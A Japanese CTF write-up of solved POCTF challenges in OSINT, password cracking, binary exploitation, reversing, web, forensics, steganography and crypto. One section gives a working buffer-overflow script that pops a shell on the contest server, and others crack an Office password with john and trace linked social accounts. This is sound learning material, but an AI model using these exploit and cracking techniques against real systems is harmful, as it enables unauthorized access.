この大会は2023/9/17 21:00(JST)~2024/1/21 18:00(JST)に開催されました。
今回は個人で参戦。結果は2200点で312チーム中30位でした。
自分で解けた問題をWriteupとして書いておきます。
Here You See A Passer By (Misc 200)
問題は図のような迷路。
迷路をたどって出口までの文字を並べる。
poctf{uwsp_pr377y_bu7_p377y_bu7_pr377y}
A Great Interior Desert (OSINT 200)
ヒントは以下の情報。
@free_jack_marigold@mastodon.social
$ python3 sherlock free_jack_marigold Update Available! You are running version 0.14.2. Version 0.14.3 is available at https://github.com/sherlock-project/sherlock [*] Checking username free_jack_marigold on: [+] CGTrader: https://www.cgtrader.com/free_jack_marigold [+] TikTok: https://tiktok.com/@free_jack_marigold [+] mastodon.social: https://mastodon.social/@free_jack_marigold [*] Search completed with 3 results
https://mastodon.social/@free_jack_marigoldにアクセスする。
SOCIAL MEMEIAに以下が書いてある。
@jock_bronson
https://mastodon.social/@jock_bronson はページが存在しない。
https://twitter.com/jock_bronsonにアクセスする。フォロワーに以下の記載がある気になる人がいる。
Definitely NOT Montezuma Cloverfield @MontezumaClove1 I am secret.
以下の投稿がある。おそらく以前はjock_bronsonという本当の名前を使っていた。
ohman i used my real name how do i change it i'm not good with computrs
@jock_bronsonも@MontezumaClove1もフォロワーに以下の人がいる。
@SenorSpacecakes
投稿文には特に何も見つからない。リンクされているInstagramを見ると、フラグの写真が投稿されていた。
poctf{uwsp_7h3_2357_15_45h}
We Mighty, We Meek (Crack 100)
拡張子をxlsに変更し、パスワードがかかっているので、クラックする。
$ office2john crack1.xls > hash.txt $ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES]) Cost 1 (MS Office version) is 2013 for all loaded hashes Cost 2 (iteration count) is 100000 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hsppyhsppyjoyjoy (crack1.xls) 1g 0:05:32:24 DONE (2023-09-18 04:37) 0.000050g/s 377.0p/s 377.0c/s 377.0C/s hsr4life..hsppybunny Use the "--show" option to display all of the cracked passwords reliably Session completed.
このパスワードで開くと、フラグが書いてあった。
poctf{uwsp_j3_p3n53_d0nc_j35_5u15}
The Gentle Rocking of the Sun (Crack 200)
問題文にあるハッシュ値をCrackStationでクラックする。
zwischen
このパスワードで7zを解凍する。
$ 7z x crack2.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz (A0655),ASM,AES-NI) Scanning the drive for archives: 1 file, 14518 bytes (15 KiB) Extracting archive: crack2.7z Enter password (will not be echoed): WARNINGS: There are data after the end of archive -- Path = crack2.7z Type = 7z WARNINGS: There are data after the end of archive Physical Size = 398 Tail Size = 14120 Headers Size = 398 Solid = - Blocks = 0 Everything is Ok Archives with Warnings: 1 Warnings: 1 Folders: 26 Files: 0 Size: 0 Compressed: 14518 $ ls -lR 2023 2023: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:25 p 2023/p: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:25 o 2023/p/o: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:25 c 2023/p/o/c: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:25 t 2023/p/o/c/t: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:32 f 2023/p/o/c/t/f: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 {uwsp_ 2023/p/o/c/t/f/{uwsp_: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 c 2023/p/o/c/t/f/{uwsp_/c: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 4 2023/p/o/c/t/f/{uwsp_/c/4: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 1 2023/p/o/c/t/f/{uwsp_/c/4/1: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 1 2023/p/o/c/t/f/{uwsp_/c/4/1/1: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 f 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 0 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 2 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:33 n 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 1 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 4_ 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 d 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 2 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 3 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 4 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 m 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 1 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:34 n 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:35 9 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n/9: 合計 0 drwxrwx--- 1 root vboxsf 0 6月 3 05:35 '}' 2023/p/o/c/t/f/{uwsp_/c/4/1/1/f/0/2/n/1/4_/d/2/3/4/m/1/n/9/}: 合計 0
パスを連結すると、フラグになった。
poctf{uwsp_c411f02n14_d234m1n9}
My Friend, A Loathsome Worm (Exploit 100)
Ghidraでデコンパイルする。
void main(EVP_PKEY_CTX *param_1) { int iVar1; long in_FS_OFFSET; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined4 local_20; int local_1c; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); local_38 = 0x3332317473657547; local_30 = 0; local_28 = 0; local_20 = 0; local_1c = 999; init(param_1); printf("Welcome, you are logged in as \'%s\'\n",&local_38); do { while( true ) { while( true ) { printf("\nHow can I help you, %s?\n",&local_38); puts(" (1) Change username"); puts(" (2) Switch to root account"); puts(" (3) Start a debug shell"); printf("Choice: "); iVar1 = get_int(); if (iVar1 != 1) break; printf("Enter new username: "); __isoc99_scanf(&DAT_001020c6,&local_38); } if (iVar1 != 2) break; puts("Sorry, root account is currently disabled"); } if (iVar1 == 3) { if (local_1c == 999) { puts("Sorry, guests aren\'t allowed to use the debug shell"); } else if (local_1c == 0x539) { puts("Starting debug shell"); execl("/bin/bash","/bin/bash",0); } else { puts("Unrecognized user type"); } } else { puts("Unknown option"); } } while( true ); }
$ checksec --file exploit1.bin [*] '/media/sf_Shared/exploit1.bin' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
usernameを指定するときにBOFさせる。28バイト+0x539のバイト文字を指定することによって、local_1cを上書きし0x539にする。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('34.123.210.162', 20232) else: p = process('./exploit1.bin') payload = b'A' * 28 payload += p64(0x539) data = p.recvuntil(b': ').decode() print(data + '1') p.sendline(b'1\n') data = p.recvuntil(b': ').decode() print(data, end='') print(payload) p.sendline(payload) data = p.recvline().decode().rstrip() print(data) data = p.recvline().rstrip() print(data) data = p.recvuntil(b': ').decode() print(data + '3') p.sendline(b'3\n') data = p.recvline().decode().rstrip() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to 34.123.210.162 on port 20232: Done Welcome, you are logged in as 'Guest123' How can I help you, Guest123? (1) Change username (2) Switch to root account (3) Start a debug shell Choice: 1 Enter new username: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05\x00\x00\x00\x00\x00\x00' b'How can I help you, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9\x05?' (1) Change username (2) Switch to root account (3) Start a debug shell Choice: 3 Starting debug shell [*] Switching to interactive mode $ ls exploit1.bin flag.txt $ cat flag.txt poctf{uwsp_5w337_c10v32_4nd_50f7_511k}
poctf{uwsp_5w337_c10v32_4nd_50f7_511k}
Easy as it Gets (Reversing 100)
>powershell -ExecutionPolicy Bypass .\RE1.ps1
パスワードはコードに書いてあるものを使う。
(Case Sensitive) Please Enter User Password: Canadian_Soap_Opera Encrypted Password is: TTpgx3Ve2kkHaFNfixbAJfwLqTGQdk9dkmWJ6/t0UCBH2pGyJP/XDrXpFlejfw9d Testing Decryption of Username / Password... Decrypted Password is: poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}
poctf{uwsp_4d_v1c70r14m_w4573l4nd3r}
A Tangled Web We Weave (Reversing 200)
1バイトのXOR鍵でencode_messageは暗号化されているので、"poctf{"から始まることを前提に復号する。
#!/usr/bin/env python3 enc = [0x0F, 0x10, 0x1C, 0x0B, 0x19, 0x04, 0x0A, 0x08, 0x0C, 0x0F, 0x20, 0x14, 0x4E, 0x11, 0x46, 0x20, 0x14, 0x4F, 0x11, 0x46, 0x20, 0x46, 0x4F, 0x48, 0x20, 0x11, 0x4F, 0x48, 0x17, 0x4E, 0x11, 0x46, 0x20, 0x4F, 0x11, 0x20, 0x12, 0x4C, 0x02] key = ord('p') ^ enc[0] flag = '' for c in enc: flag += chr(c ^ key) print(flag)
poctf{uwsp_k1n9_k0n9_907_n07h1n9_0n_m3}
We Rest Upon a Single Hope (Web 100)
keyを入力する必要がある。HTMLソースを見ると、スクリプトが書いてある。
<SCRIPT> function Gozer(key) { var hash = 0, i, chr; for (i = 0; i < key.length; i++) { chr = key.charCodeAt(i); hash = ((hash << 5) - hash) + chr; hash |= 0; } return hash; } function conv(s) { var a = []; for (var n = 0, l = s.length; n < l; n ++) { var hex = Number(s.charCodeAt(n)).toString(16); a.push(hex); } return a.join(''); } function Zuul(key) { if (key == v) { var Gatekeeper = []; var y = []; var z = []; Gatekeeper[0] = "706f6374667b75777370"; Gatekeeper[1] = "formal"; Gatekeeper[2] = "88410"; for (var i = 0, l = Gatekeeper[0].length; i < l; i ++) { if (i == 0 || i % 2 == 0) { y += String.fromCharCode(parseInt((Gatekeeper[0].substring(i, i+2)), 16)); } } z[0] = y; z[1] = Gatekeeper[2][3]; z[2] = Gatekeeper[2][2] + Gatekeeper[1][3]; z[3] = z[2][0] + Gatekeeper[1][5] + Gatekeeper[1][5]; z[4] = (Gatekeeper[2]/12630) + "h" + z[2][0] + (Gatekeeper[2][0]-1); z[5] = z[4][0] + z[4][1] + '3' + Gatekeeper[1][2] + '3'; z[6] = (Gatekeeper[2]/Gatekeeper[2]) + '5'; z[7] = (Gatekeeper[2]*0) + Gatekeeper[1][0]; z[8] = (Gatekeeper[2]/12630) + "h" + '3'; z[9] = Gatekeeper[1][3] + (Gatekeeper[2]*0) + '5' + (Gatekeeper[2][0]-1); z[10] = 'r' + '3' + z[2][0] + Gatekeeper[1][5] + '}'; console.log(z.join("_")); } else { console.log("Gozer the Traveler. He will come in one of the pre-chosen forms. During the rectification of the Vuldrini, the traveler came as a large and moving Torg! Then, during the third reconciliation of the last of the McKetrick supplicants, they chose a new form for him: that of a giant Slor! Many Shuvs and Zuuls knew what it was to be roasted in the depths of the Slor that day, I can tell you!"); } } var p = navigator.mimeTypes+navigator.doNotTrack; var o = navigator.deviceMemory; var c = navigator.vendor+navigator.userAgent; var t = navigator.product+p; var f = o+c+p; var v = Gozer(p/((o+c)*t)+f); </SCRIPT>
Zuul関数のkeyとvが一致している場合の処理をデベロッパーツールのConsoleを使って、トレースする。
poctf{uwsp_1_4m_4ll_7h47_7h3r3_15_0f_7h3_m057_r34l}
Vigil of the Ceaseless Eyes (Web 200)
$ curl https://nvstgt.com/ManyKin/secret/flag.pdf poctf{uwsp_71m3_15_4n_1llu510n}
poctf{uwsp_71m3_15_4n_1llu510n}
If You Don't, Remember Me (Forensics 100)
$ strings DF1.pdf | grep poctf poctf(uwsp_77333163306D335F37305F3768335F39346D33} $ echo 77333163306D335F37305F3768335F39346D33 | xxd -r -p w31c0m3_70_7h3_94m3
poctf{uwsp_w31c0m3_70_7h3_94m3}
A Petty Wage in Regret (Forensics 200)
$ exiftool DF2.jpg ExifTool Version Number : 12.65 File Name : DF2.jpg Directory : . File Size : 359 kB File Modification Date/Time : 2023:09:17 23:02:17+09:00 File Access Date/Time : 2023:09:17 23:02:45+09:00 File Inode Change Date/Time : 2023:09:17 23:02:17+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg : User Comment : 3A3A50312F323A3A20706F6374667B757773705F3768335F7730726C645F683464 Compression : JPEG (old-style) Thumbnail Offset : 418 Thumbnail Length : 7000 : Image Width : 1000 Image Height : 1000 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 1000x1000 Megapixels : 1.0 Thumbnail Image : (Binary data 7000 bytes, use -b option to extract)
User Commentに16進数文字列が設定されているので、hexデコードする。
$ echo 3A3A50312F323A3A20706F6374667B757773705F3768335F7730726C645F683464 | xxd -r -p ::P1/2:: poctf{uwsp_7h3_w0rld_h4d
青空白猫のステガノグラフィー解析でエッジ抽出(ロバーツ)などを見るとフラグが見える。
::P2/2:: 17_f1257
poctf{uwsp_7h3_w0rld_h4d_17_f1257}
Better to Burn in the Light (Forensics 300)
Autospyで開き、$RECYCLE.BIN配下の以下のJPGファイルをエクスポートする。
・$RN367L5.jpg ・$RLLD6JM.pdf ・$R4K6JU8.doc
$RN367L5.jpgの末尾に以下のように書いてある。
--POCTF{NOT THE END}--
また、$RLLD6JM.pdfの先頭に以下のように書いてあり、末尾はFF D9でjpgの末尾と同じ形式なっている。
--POCTF{0.5c} --
それぞれ"--"から"--"までを削除し、結合すると、jpg画像として認識され、画像にフラグの前半が書かれている。
poctf{uwsp_5h1v
$R4K6JU8.docは先頭4バイトが欠けているjpgの形式になっているので、先頭4バイトを追加する。すると、jpg画像として認識され、画像にフラグの後半が書かれている。
3r_m3_71mb3r5}
poctf{uwsp_5h1v3r_m3_71mb3r5}
Absence Makes Hearts Go Yonder (Stego 100)
gifの後ろにzipがくっついているので、切り出す。切り出したzipを解凍すると、flag.txtが展開され、フラグが書いてあった。
poctf{uwsp_h342d_y0u_7h3_f1257_71m3}
An Invincible Summer (Stego 200)
画像の差分を白黒で出力する。lock.bmpとlock.pngの差分はASCIIコードとしてデコードできそうなので、デコードする。
#!/usr/bin/env python3 from PIL import Image img1 = Image.open('lock.bmp').convert('RGB') img2 = Image.open('lock.png').convert('RGB') w, h = img1.size output_img = Image.new('RGB', (w, h), (255, 255, 255)) b_data = '' for x in range(368): r1, g1, b1 = img1.getpixel((x, 0)) r2, g2, b2 = img2.getpixel((x, 0)) if r1 == r2 and g1 == g2 and b1 == b2: b_data += '0' else: b_data += '1' flag = '' for i in range(0, len(b_data), 8): flag += chr(int(b_data[i:i+8], 2)) print(flag)
poctf{uwsp_1_h4v3_n0_m0u7h_4nd_1_mu57_5cr34m}
Unquestioned and Unrestrained (Crypto 100)
base64デコードする。
$ echo cG9jdGZ7dXdzcF80MTFfeTB1Ml84NDUzXzQyM184MzEwbjlfNzBfdTV9 | base64 -d poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}
poctf{uwsp_411_y0u2_8453_423_8310n9_70_u5}
A Pale, Violet Light (Crypto 200)
n = 34034827 = 5807 * 5861
あとは通常通り1文字ずつ復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * e = 5039 N = 34034827 C = [933969, 15848125, 24252056, 5387227, 5511551, 10881790, 3267174, 14500698, 28242580, 933969, 32093017, 18035208, 2594090, 2594090, 9122397, 21290815, 15930721, 4502231, 5173234, 21290815, 23241728, 2594090, 21290815, 18035208, 10891227, 15930721, 202434, 202434, 21290815, 5511551, 202434, 4502231, 5173234, 25243036] p = 5807 q = 5861 phi = (p - 1) * (q - 1) d = inverse(e, phi) flag = '' for c in C: m = pow(c, d, N) flag += chr(m) print(flag)
復号結果は以下の通り。
poctf{uwsp_533k 4nd y3 5h411 f1nd}
poctf{uwsp_533k_4nd_y3_5h411_f1nd}
Missing and Missed (Crypto 300)
Brainf*ck言語。https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。
poctf{uwsp_219h7_w20n9_02_f0290773n}